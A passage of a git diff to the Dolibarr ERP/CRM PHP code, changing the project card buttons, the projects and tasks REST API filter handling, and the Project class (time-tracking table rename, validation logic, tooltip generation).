console.log("oldpercent="+oldpercent); if (oldpercent != \'\' && (parseFloat(defaultpercent) < parseFloat(oldpercent))) { - if (jQuery("#opp_percent").val() != \'\' && oldpercent != \'\') jQuery("#oldopppercent").text(\' - '.dol_escape_js($langs->transnoentities("PreviousValue")).': \'+oldpercent+\' %\'); - if (parseFloat(oldpercent) != 100) { jQuery("#opp_percent").val(oldpercent); } - else { jQuery("#opp_percent").val(defaultpercent); } + console.log("oldpercent="+oldpercent+" defaultpercent="+defaultpercent+" def < old"); + if (jQuery("#opp_percent").val() != \'\' && oldpercent != \'\') { + jQuery("#oldopppercent").text(\' - '.dol_escape_js($langs->transnoentities("PreviousValue")).': \'+price2numjs(oldpercent)+\' %\'); + } + + if (parseFloat(oldpercent) != 100 && elemcode != \'LOST\') { jQuery("#opp_percent").val(oldpercent); } + else { jQuery("#opp_percent").val(price2numjs(defaultpercent)); } } else { + console.log("oldpercent="+oldpercent+" defaultpercent="+defaultpercent); if ((parseFloat(jQuery("#opp_percent").val()) < parseFloat(defaultpercent))); { - if (jQuery("#opp_percent").val() != \'\' && oldpercent != \'\') jQuery("#oldopppercent").text(\' - '.dol_escape_js($langs->transnoentities("PreviousValue")).': \'+oldpercent+\' %\'); - jQuery("#opp_percent").val(defaultpercent); + if (jQuery("#opp_percent").val() != \'\' && oldpercent != \'\') jQuery("#oldopppercent").text(\' - '.dol_escape_js($langs->transnoentities("PreviousValue")).': \'+price2numjs(oldpercent)+\' %\'); + jQuery("#opp_percent").val(price2numjs(defaultpercent)); } } } @@ -1332,9 +1456,11 @@ if ($action == 'create' && $user->rights->projet->creer) { '; } + /* * Actions Buttons */ + print '
      '; $parameters = array(); $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been @@ -1369,6 +1495,17 @@ if ($action == 'create' && $user->rights->projet->creer) { } */ + // Back to draft + if (!getDolGlobalString('MAIN_DISABLEDRAFTSTATUS') && !getDolGlobalString('MAIN_DISABLEDRAFTSTATUS_PROJECT')) { + if ($object->statut != Project::STATUS_DRAFT && $user->rights->projet->creer) { + if ($userWrite > 0) { + print dolGetButtonAction('', $langs->trans('SetToDraft'), 'default', $_SERVER["PHP_SELF"].'?action=confirm_setdraft&confirm=yes&token='.newToken().'&id='.$object->id, ''); + } else { + print dolGetButtonAction($langs->trans('NotOwnerOfProject'), $langs->trans('SetToDraft'), 'default', $_SERVER['PHP_SELF']. '#', '', false); + } + } + } + // Modify if ($object->statut != Project::STATUS_CLOSED && $user->rights->projet->creer) { if ($userWrite > 0) { @@ -1405,56 +1542,26 @@ if ($action == 'create' && $user->rights->projet->creer) { } } + // Buttons Create + if (empty($conf->global->PROJECT_HIDE_CREATE_OBJECT_BUTTON)) { + $arrayforbutaction = array( + 10 => array('lang'=>'propal', 'enabled'=>isModEnabled("propal"), 'perm'=>$user->hasRight('propal', 'creer'), 'label' => 'AddProp', 'url'=>'/comm/propal/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 20 => array('lang'=>'orders', 'enabled'=>isModEnabled("commande"), 'perm'=>$user->hasRight('commande', 'creer'), 'label' => 'CreateOrder', 'url'=>'/commande/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 30 => array('lang'=>'bills', 'enabled'=>isModEnabled("facture"), 'perm'=>$user->hasRight('facture', 'creer'), 'label' => 'CreateBill', 'url'=>'/compta/facture/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 40 => array('lang'=>'supplier_proposal', 'enabled'=>isModEnabled("supplier_proposal"), 'perm'=>$user->hasRight('supplier_proposal', 'creer'), 'label' => 'AddSupplierProposal', 'url'=>'/supplier_proposal/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 50 => array('lang'=>'suppliers', 'enabled'=>isModEnabled("supplier_order"), 'perm'=>$user->hasRight('fournisseur', 'commande', 'creer'), 'label' => 'AddSupplierOrder', 'url'=>'/fourn/commande/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 60 => array('lang'=>'suppliers', 'enabled'=>isModEnabled("supplier_invoice"), 'perm'=>$user->hasRight('fournisseur', 'facture', 'creer'), 'label' => 'AddSupplierInvoice', 'url'=>'/fourn/facture/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 70 => array('lang'=>'interventions', 'enabled'=>isModEnabled("ficheinter"), 'perm'=>$user->hasRight('fichinter', 'creer'), 'label' => 'AddIntervention', 'url'=>'/fichinter/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 80 => array('lang'=>'contrats', 'enabled'=>isModEnabled("contrat"), 'perm'=>$user->hasRight('contrat', 'creer'), 'label' => 'AddContract', 'url'=>'/contrat/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 90 => array('lang'=>'trips', 'enabled'=>isModEnabled("expensereport"), 'perm'=>$user->hasRight('expensereport', 'creer'), 'label' => 'AddTrip', 'url'=>'/expensereport/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + 100 => array('lang'=>'donations', 'enabled'=>isModEnabled("don"), 'perm'=>$user->hasRight('don', 'creer'), 'label' => 'AddDonation', 'url'=>'/don/card.php?action=create&projectid='.$object->id.'&socid='.$object->socid), + ); - if (!empty($conf->global->PROJECT_SHOW_CREATE_OBJECT_BUTTON)) { - print'"; + $params = array('backtopage' => $_SERVER["PHP_SELF"].'?id='.$object->id); + + print dolGetButtonAction($langs->trans("Create"), '', 'default', $arrayforbutaction, '', 1, $params); } + // Clone if ($user->rights->projet->creer) { if ($userWrite > 0) { @@ -1489,18 +1596,18 @@ if ($action == 'create' && $user->rights->projet->creer) { * Generated documents */ $filename = dol_sanitizeFileName($object->ref); - $filedir = $conf->project->dir_output."/".dol_sanitizeFileName($object->ref); + $filedir = $conf->project->multidir_output[$object->entity]."/".dol_sanitizeFileName($object->ref); $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; $genallowed = ($user->rights->projet->lire && $userAccess > 0); $delallowed = ($user->rights->projet->creer && $userWrite > 0); - print $formfile->showdocuments('project', $filename, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf); + print $formfile->showdocuments('project', $filename, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 0, 0, '', '', '', '', '', $object); print '
      '; $MAXEVENT = 10; - $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', DOL_URL_ROOT.'/projet/info.php?id='.$object->id); + $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', DOL_URL_ROOT.'/projet/messaging.php?id='.$object->id); // List of actions on element include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; @@ -1513,7 +1620,7 @@ if ($action == 'create' && $user->rights->projet->creer) { // Presend form $modelmail = 'project'; $defaulttopic = 'SendProjectRef'; - $diroutput = $conf->project->dir_output; + $diroutput = $conf->project->multidir_output[$object->entity]; $autocopy = 'MAIN_MAIL_AUTOCOPY_PROJECT_TO'; // used to know the automatic BCC to add $trackid = 'proj'.$object->id; diff --git a/htdocs/projet/class/api_projects.class.php b/htdocs/projet/class/api_projects.class.php index 6a522346210..cf27619d3c7 100644 --- a/htdocs/projet/class/api_projects.class.php +++ b/htdocs/projet/class/api_projects.class.php @@ -29,7 +29,6 @@ */ class Projects extends DolibarrApi { - /** * @var array $FIELDS Mandatory fields, checked when create and update object */ @@ -123,6 +122,7 @@ class Projects extends DolibarrApi $sql .= ", sc.fk_soc, sc.fk_user"; // We need these fields in order to filter by sale (including the case where the user can only see his prospects) } $sql .= " FROM ".MAIN_DB_PREFIX."projet as t"; + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."projet_extrafields AS ef ON ef.fk_object = t.rowid"; // So we will be able to filter on extrafields if ($category > 0) { $sql .= ", ".MAIN_DB_PREFIX."categorie_project as c"; } @@ -151,11 +151,10 @@ class Projects extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -229,7 +228,7 @@ class Projects extends DolibarrApi * * @param int $id Id of project * @param int $includetimespent 0=Return only list of tasks. 1=Include a summary of time spent, 2=Include details of time spent lines - * @return int + * @return array * * @url GET {id}/tasks */ @@ -267,10 +266,9 @@ class Projects extends DolibarrApi * * @param int $id Id of project * @param int $userid Id of user (0 = connected user) + * @return array * * @url GET {id}/roles - * - * @return int */ public function getRoles($id, $userid = 0) { @@ -296,11 +294,12 @@ class Projects extends DolibarrApi $userp = new User($this->db); $userp->fetch($userid); } - $this->project->roles = $taskstatic->getUserRolesForProjectsOrTasks($userp, 0, $id, 0); + $this->project->roles = $taskstatic->getUserRolesForProjectsOrTasks($userp, null, $id, 0); $result = array(); foreach ($this->project->roles as $line) { array_push($result, $this->_cleanObjectDatas($line)); } + return $result; } diff --git a/htdocs/projet/class/api_tasks.class.php b/htdocs/projet/class/api_tasks.class.php index 0eaf8654421..7c68b8bdeab 100644 --- a/htdocs/projet/class/api_tasks.class.php +++ b/htdocs/projet/class/api_tasks.class.php @@ -150,11 +150,10 @@ class Tasks extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -267,12 +266,12 @@ class Tasks extends DolibarrApi /** * Get roles a user is assigned to a task with * - * @param int $id Id of task - * @param int $userid Id of user (0 = connected user) + * @param int $id Id of task + * @param int $userid Id of user (0 = connected user) + * @return array Array of roles * * @url GET {id}/roles * - * @return int */ public function getRoles($id, $userid = 0) { @@ -296,11 +295,12 @@ class Tasks extends DolibarrApi $usert = new User($this->db); $usert->fetch($userid); } - $this->task->roles = $this->task->getUserRolesForProjectsOrTasks(0, $usert, 0, $id); + $this->task->roles = $this->task->getUserRolesForProjectsOrTasks(null, $usert, 0, $id); $result = array(); foreach ($this->task->roles as $line) { array_push($result, $this->_cleanObjectDatas($line)); } + return $result; } @@ -544,7 +544,7 @@ class Tasks extends DolibarrApi $this->task->timespent_datehour = $newdate; $this->task->timespent_withhour = 1; $this->task->timespent_duration = $duration; - $this->task->timespent_fk_user = $user_id; + $this->task->timespent_fk_user = $uid; $this->task->timespent_note = $note; $result = $this->task->addTimeSpent(DolibarrApiAccess::$user, 0); diff --git a/htdocs/projet/class/project.class.php b/htdocs/projet/class/project.class.php index e3865663bf7..9f00d4ce3c0 100644 --- a/htdocs/projet/class/project.class.php +++ b/htdocs/projet/class/project.class.php @@ -7,6 +7,7 @@ * Copyright (C) 2017 Ferran Marcet * Copyright (C) 2019 Juanjo Menent * Copyright (C) 2022 Charlene Benke + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -202,8 +203,11 @@ class Project extends CommonObject public $statut; // 0=draft, 1=opened, 2=closed public $opp_status; // opportunity status, into table llx_c_lead_status + public $opp_status_code; public $fk_opp_status; // opportunity status, into table llx_c_lead_status + public $opp_amount; // opportunity amount public $opp_percent; // opportunity probability + public $opp_weighted_amount; // opportunity weighted amount public $email_msgid; @@ -281,8 +285,8 @@ class Project extends CommonObject 'public' =>array('type'=>'integer', 'label'=>'Visibility', 'enabled'=>1, 'visible'=>1, 'position'=>65), 'fk_opp_status' =>array('type'=>'integer', 'label'=>'OpportunityStatusShort', 'enabled'=>'getDolGlobalString("PROJECT_USE_OPPORTUNITIES")', 'visible'=>1, 'position'=>75), 'opp_percent' =>array('type'=>'double(5,2)', 'label'=>'OpportunityProbabilityShort', 'enabled'=>'getDolGlobalString("PROJECT_USE_OPPORTUNITIES")', 'visible'=>1, 'position'=>80), - 'note_private' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>85, 'searchall'=>1), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>90, 'searchall'=>1), + 'note_private' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>85, 'searchall'=>1), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>90, 'searchall'=>1), 'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'ModelPdf', 'enabled'=>1, 'visible'=>0, 'position'=>95), 'date_close' =>array('type'=>'datetime', 'label'=>'DateClosing', 'enabled'=>1, 'visible'=>0, 'position'=>105), 'fk_user_close' =>array('type'=>'integer', 'label'=>'UserClosing', 'enabled'=>1, 'visible'=>0, 'position'=>110), @@ -293,8 +297,8 @@ class Project extends CommonObject 'usage_task' =>array('type'=>'integer', 'label'=>'UsageTasks', 'enabled'=>1, 'visible'=>-1, 'position'=>140), 'usage_organize_event' =>array('type'=>'integer', 'label'=>'UsageOrganizeEvent', 'enabled'=>1, 'visible'=>-1, 'position'=>145), // Properties for event organization - 'date_start_event' =>array('type'=>'date', 'label'=>'DateStartEvent', 'enabled'=>1, 'visible'=>1, 'position'=>200), - 'date_end_event' =>array('type'=>'date', 'label'=>'DateEndEvent', 'enabled'=>1, 'visible'=>1, 'position'=>201), + 'date_start_event' =>array('type'=>'date', 'label'=>'DateStartEvent', 'enabled'=>"isModEnabled('eventorganization')", 'visible'=>1, 'position'=>200), + 'date_end_event' =>array('type'=>'date', 'label'=>'DateEndEvent', 'enabled'=>"isModEnabled('eventorganization')", 'visible'=>1, 'position'=>201), 'location' =>array('type'=>'text', 'label'=>'Location', 'enabled'=>1, 'visible'=>3, 'position'=>55, 'searchall'=>202), 'accept_conference_suggestions' =>array('type'=>'integer', 'label'=>'AllowUnknownPeopleSuggestConf', 'enabled'=>1, 'visible'=>-1, 'position'=>210), 'accept_booth_suggestions' =>array('type'=>'integer', 'label'=>'AllowUnknownPeopleSuggestBooth', 'enabled'=>1, 'visible'=>-1, 'position'=>211), @@ -306,9 +310,9 @@ class Project extends CommonObject 'tms' =>array('type'=>'timestamp', 'label'=>'DateModificationShort', 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>405), 'fk_user_creat' =>array('type'=>'integer', 'label'=>'UserCreation', 'enabled'=>1, 'visible'=>0, 'notnull'=>1, 'position'=>410), 'fk_user_modif' =>array('type'=>'integer', 'label'=>'UserModification', 'enabled'=>1, 'visible'=>0, 'position'=>415), - 'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>0, 'position'=>420), + 'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-1, 'position'=>420), 'email_msgid'=>array('type'=>'varchar(255)', 'label'=>'EmailMsgID', 'enabled'=>1, 'visible'=>-1, 'position'=>450, 'help'=>'EmailMsgIDWhenSourceisEmail'), - 'fk_statut' =>array('type'=>'smallint(6)', 'label'=>'Status', 'enabled'=>1, 'visible'=>1, 'notnull'=>1, 'position'=>500) + 'fk_statut' =>array('type'=>'smallint(6)', 'label'=>'Status', 'enabled'=>1, 'visible'=>1, 'notnull'=>1, 'position'=>500), ); // END MODULEBUILDER PROPERTIES @@ -435,6 +439,7 @@ class Project extends CommonObject $sql .= ", note_private"; $sql .= ", note_public"; $sql .= ", entity"; + $sql .= ", ip"; $sql .= ") VALUES ("; $sql .= "'".$this->db->escape($this->ref)."'"; $sql .= ", '".$this->db->escape($this->title)."'"; @@ -466,6 +471,7 @@ class Project extends CommonObject $sql .= ", ".($this->note_private ? "'".$this->db->escape($this->note_private)."'" : 'null'); $sql .= ", ".($this->note_public ? "'".$this->db->escape($this->note_public)."'" : 'null'); $sql .= ", ".((int) $conf->entity); + $sql .= ", ".(!isset($this->ip) ? 'NULL' : "'".$this->db->escape($this->ip)."'"); $sql .= ")"; dol_syslog(get_class($this)."::create", LOG_DEBUG); @@ -496,7 +502,7 @@ class Project extends CommonObject } } - if (!$error && !empty($conf->global->MAIN_DISABLEDRAFTSTATUS)) { + if (!$error && (getDolGlobalString('MAIN_DISABLEDRAFTSTATUS') || getDolGlobalString('MAIN_DISABLEDRAFTSTATUS_PROJECT'))) { $res = $this->setValid($user); if ($res < 0) { $error++; @@ -777,8 +783,8 @@ class Project extends CommonObject $sql = "SELECT ed.rowid FROM ".MAIN_DB_PREFIX."expensereport as e, ".MAIN_DB_PREFIX."expensereport_det as ed WHERE e.rowid = ed.fk_expensereport AND e.entity IN (".getEntity('expensereport').") AND ed.fk_projet IN (".$this->db->sanitize($ids).")"; } elseif ($type == 'project_task') { $sql = "SELECT DISTINCT pt.rowid FROM ".MAIN_DB_PREFIX."projet_task as pt WHERE pt.fk_projet IN (".$this->db->sanitize($ids).")"; - } elseif ($type == 'project_task_time') { // Case we want to duplicate line foreach user - $sql = "SELECT DISTINCT pt.rowid, ptt.fk_user FROM ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet_task_time as ptt WHERE pt.rowid = ptt.fk_task AND pt.fk_projet IN (".$this->db->sanitize($ids).")"; + } elseif ($type == 'element_time') { // Case we want to duplicate line foreach user + $sql = "SELECT DISTINCT pt.rowid, ptt.fk_user FROM ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."element_time as ptt WHERE pt.rowid = ptt.fk_element AND ptt.elementtype = 'task' AND pt.fk_projet IN (".$this->db->sanitize($ids).")"; } elseif ($type == 'stock_mouvement') { $sql = "SELECT ms.rowid, ms.fk_user_author as fk_user FROM ".MAIN_DB_PREFIX."stock_mouvement as ms, ".MAIN_DB_PREFIX."entrepot as e WHERE e.rowid = ms.fk_entrepot AND e.entity IN (".getEntity('stock').") AND ms.origintype = 'project' AND ms.fk_origin IN (".$this->db->sanitize($ids).") AND ms.type_mouvement = 1"; } elseif ($type == 'loan') { @@ -1036,8 +1042,8 @@ class Project extends CommonObject $sql = "SELECT COUNT(ed.rowid) as nb FROM ".MAIN_DB_PREFIX."expensereport as e, ".MAIN_DB_PREFIX."expensereport_det as ed WHERE e.rowid = ed.fk_expensereport AND e.entity IN (".getEntity('expensereport').") AND ed.fk_projet = ".((int) $this->id); } elseif ($type == 'project_task') { $sql = "SELECT DISTINCT COUNT(pt.rowid) as nb FROM ".MAIN_DB_PREFIX."projet_task as pt WHERE pt.fk_projet = ".((int) $this->id); - } elseif ($type == 'project_task_time') { // Case we want to duplicate line foreach user - $sql = "SELECT DISTINCT COUNT(pt.rowid) as nb FROM ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet_task_time as ptt WHERE pt.rowid = ptt.fk_task AND pt.fk_projet = ".((int) $this->id); + } elseif ($type == 'element_time') { // Case we want to duplicate line foreach user + $sql = "SELECT DISTINCT COUNT(pt.rowid) as nb FROM ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."element_time as ptt WHERE pt.rowid = ptt.fk_element AND ptt.elementtype = 'task' AND pt.fk_projet = ".((int) $this->id); } elseif ($type == 'stock_mouvement') { $sql = "SELECT COUNT(ms.rowid) as nb FROM ".MAIN_DB_PREFIX."stock_mouvement as ms, ".MAIN_DB_PREFIX."entrepot as e WHERE e.rowid = ms.fk_entrepot AND e.entity IN (".getEntity('stock').") AND ms.origintype = 'project' AND ms.fk_origin = ".((int) $this->id)." AND ms.type_mouvement = 1"; } elseif ($type == 'loan') { @@ -1096,7 +1102,7 @@ class Project extends CommonObject * * @param User $user User that validate * @param int $notrigger 1=Disable triggers - * @return int <0 if KO, >0 if OK + * @return int <0 if KO, 0=Nothing done, >0 if KO */ public function setValid($user, $notrigger = 0) { @@ -1104,47 +1110,51 @@ class Project extends CommonObject $error = 0; - if ($this->statut != 1) { - // Check parameters - if (preg_match('/^'.preg_quote($langs->trans("CopyOf").' ').'/', $this->title)) { - $this->error = $langs->trans("ErrorFieldFormat", $langs->transnoentities("Label")).'. '.$langs->trans('RemoveString', $langs->transnoentitiesnoconv("CopyOf")); - return -1; + // Protection + if ($this->status == self::STATUS_VALIDATED) { + dol_syslog(get_class($this)."::validate action abandonned: already validated", LOG_WARNING); + return 0; + } + + // Check parameters + if (preg_match('/^'.preg_quote($langs->trans("CopyOf").' ').'/', $this->title)) { + $this->error = $langs->trans("ErrorFieldFormat", $langs->transnoentities("Label")).'. '.$langs->trans('RemoveString', $langs->transnoentitiesnoconv("CopyOf")); + return -1; + } + + $this->db->begin(); + + $sql = "UPDATE ".MAIN_DB_PREFIX."projet"; + $sql .= " SET fk_statut = ".self::STATUS_VALIDATED; + $sql .= " WHERE rowid = ".((int) $this->id); + //$sql .= " AND entity = ".((int) $conf->entity); // Disabled, when we use the ID for the where, we must not add any other search condition + + dol_syslog(get_class($this)."::setValid", LOG_DEBUG); + $resql = $this->db->query($sql); + if ($resql) { + // Call trigger + if (empty($notrigger)) { + $result = $this->call_trigger('PROJECT_VALIDATE', $user); + if ($result < 0) { + $error++; + } + // End call triggers } - $this->db->begin(); - - $sql = "UPDATE ".MAIN_DB_PREFIX."projet"; - $sql .= " SET fk_statut = 1"; - $sql .= " WHERE rowid = ".((int) $this->id); - $sql .= " AND entity = ".((int) $conf->entity); - - dol_syslog(get_class($this)."::setValid", LOG_DEBUG); - $resql = $this->db->query($sql); - if ($resql) { - // Call trigger - if (empty($notrigger)) { - $result = $this->call_trigger('PROJECT_VALIDATE', $user); - if ($result < 0) { - $error++; - } - // End call triggers - } - - if (!$error) { - $this->statut = 1; - $this->db->commit(); - return 1; - } else { - $this->db->rollback(); - $this->error = join(',', $this->errors); - dol_syslog(get_class($this)."::setValid ".$this->error, LOG_ERR); - return -1; - } + if (!$error) { + $this->statut = 1; + $this->db->commit(); + return 1; } else { $this->db->rollback(); - $this->error = $this->db->lasterror(); + $this->error = join(',', $this->errors); + dol_syslog(get_class($this)."::setValid ".$this->error, LOG_ERR); return -1; } + } else { + $this->db->rollback(); + $this->error = $this->db->lasterror(); + return -1; } } @@ -1242,6 +1252,50 @@ class Project extends CommonObject return dolGetStatus($langs->transnoentitiesnoconv($this->statuts_long[$status]), $langs->transnoentitiesnoconv($this->statuts_short[$status]), '', $statusClass, $mode); } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs; + + $langs->load('projects'); + $option = $params['option'] ?? ''; + $moreinpopup = $params['morinpopup'] ?? ''; + + $datas = []; + if ($option != 'nolink') { + $datas['picto'] = img_picto('', $this->picto, 'class="pictofixedwidth"').' '.$langs->trans("Project").''; + } + if (isset($this->status)) { + $datas['picto'] .= ' '.$this->getLibStatut(5); + } + $datas['ref'] = (isset($datas['picto']) ? '
      ' : '').''.$langs->trans('Ref').': '.$this->ref; // The space must be after the : to not being explode when showing the title in img_picto + $datas['label'] = '
      '.$langs->trans('Label').': '.$this->title; // The space must be after the : to not being explode when showing the title in img_picto + if (isset($this->public)) { + $datas['visibility'] = '
      '.$langs->trans("Visibility").": "; + $datas['visibility'] .= ($this->public ? img_picto($langs->trans('SharedProject'), 'world', 'class="pictofixedwidth"').$langs->trans("SharedProject") : img_picto($langs->trans('PrivateProject'), 'private', 'class="pictofixedwidth"').$langs->trans("PrivateProject")); + } + if (!empty($this->thirdparty_name)) { + $datas['thirdparty'] = '
      '.$langs->trans('ThirdParty').': '.$this->thirdparty_name; // The space must be after the : to not being explode when showing the title in img_picto + } + if (!empty($this->date_start)) { + $datas['datestart'] = '
      '.$langs->trans('DateStart').': '.dol_print_date($this->date_start, 'day'); // The space must be after the : to not being explode when showing the title in img_picto + } + if (!empty($this->date_end)) { + $datas['dateend'] = '
      '.$langs->trans('DateEnd').': '.dol_print_date($this->date_end, 'day'); // The space must be after the : to not being explode when showing the title in img_picto + } + if ($moreinpopup) { + $datas['moreinpopup'] = '
      '.$moreinpopup; + } + + return $datas; + } + /** * Return clickable name (with picto eventually) * @@ -1267,31 +1321,20 @@ class Project extends CommonObject if (!empty($conf->global->PROJECT_OPEN_ALWAYS_ON_TAB)) { $option = $conf->global->PROJECT_OPEN_ALWAYS_ON_TAB; } - - $label = ''; - if ($option != 'nolink') { - $label = img_picto('', $this->picto, 'class="pictofixedwidth"').' '.$langs->trans("Project").''; - } - if (isset($this->status)) { - $label .= ' '.$this->getLibStatut(5); - } - $label .= ($label ? '
      ' : '').''.$langs->trans('Ref').': '.$this->ref; // The space must be after the : to not being explode when showing the title in img_picto - $label .= ($label ? '
      ' : '').''.$langs->trans('Label').': '.$this->title; // The space must be after the : to not being explode when showing the title in img_picto - if (isset($this->public)) { - $label .= '
      '.$langs->trans("Visibility").": "; - $label .= ($this->public ? img_picto($langs->trans('SharedProject'), 'world', 'class="pictofixedwidth"').$langs->trans("SharedProject") : img_picto($langs->trans('PrivateProject'), 'private', 'class="pictofixedwidth"').$langs->trans("PrivateProject")); - } - if (!empty($this->thirdparty_name)) { - $label .= ($label ? '
      ' : '').''.$langs->trans('ThirdParty').': '.$this->thirdparty_name; // The space must be after the : to not being explode when showing the title in img_picto - } - if (!empty($this->date_start)) { - $label .= ($label ? '
      ' : '').''.$langs->trans('DateStart').': '.dol_print_date($this->date_start, 'day'); // The space must be after the : to not being explode when showing the title in img_picto - } - if (!empty($this->date_end)) { - $label .= ($label ? '
      ' : '').''.$langs->trans('DateEnd').': '.dol_print_date($this->date_end, 'day'); // The space must be after the : to not being explode when showing the title in img_picto - } - if ($moreinpopup) { - $label .= '
      '.$moreinpopup; + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'moreinpopup' => $moreinpopup, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $url = ''; @@ -1323,8 +1366,8 @@ class Project extends CommonObject $label = $langs->trans("ShowProject"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -1340,7 +1383,7 @@ class Project extends CommonObject $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), $picto, ($notooltip ? (($withpicto != 2) ? 'class="pictofixedwidth"' : '') : 'class="'.(($withpicto != 2) ? 'pictofixedwidth ' : '').'classfortooltip pictofixedwidth em088"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), $picto, ($notooltip ? (($withpicto != 2) ? 'class="pictofixedwidth"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'pictofixedwidth ' : '').$classfortooltip.' pictofixedwidth em088"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= $this->ref; @@ -1379,6 +1422,7 @@ class Project extends CommonObject // Initialise parameters $this->id = 0; $this->ref = 'SPECIMEN'; + $this->entity = $conf->entity; $this->specimen = 1; $this->socid = 1; $this->date_c = $now; @@ -1478,7 +1522,7 @@ class Project extends CommonObject * @param int $list 0=Return array, 1=Return string list * @param int $socid 0=No filter on third party, id of third party * @param string $filter additionnal filter on project (statut, ref, ...) - * @return array or string Array of projects id, or string with projects id separated with "," if list is 1 + * @return array|string Array of projects id, or string with projects id separated with "," if list is 1 */ public function getProjectsAuthorizedForUser($user, $mode = 0, $list = 0, $socid = 0, $filter = '') { @@ -1977,14 +2021,15 @@ class Project extends CommonObject dol_print_error('', 'Error datestart parameter is empty'); } - $sql = "SELECT ptt.rowid as taskid, ptt.task_duration, ptt.task_date, ptt.task_datehour, ptt.fk_task"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time AS ptt, ".MAIN_DB_PREFIX."projet_task as pt"; - $sql .= " WHERE ptt.fk_task = pt.rowid"; + $sql = "SELECT ptt.rowid as taskid, ptt.element_duration, ptt.element_date, ptt.element_datehour, ptt.fk_element"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time AS ptt, ".MAIN_DB_PREFIX."projet_task as pt"; + $sql .= " WHERE ptt.fk_element = pt.rowid"; + $sql .= " AND ptt.elementtype = 'task'"; $sql .= " AND pt.fk_projet = ".((int) $this->id); - $sql .= " AND (ptt.task_date >= '".$this->db->idate($datestart)."' "; - $sql .= " AND ptt.task_date <= '".$this->db->idate(dol_time_plus_duree($datestart, 1, 'w') - 1)."')"; + $sql .= " AND (ptt.element_date >= 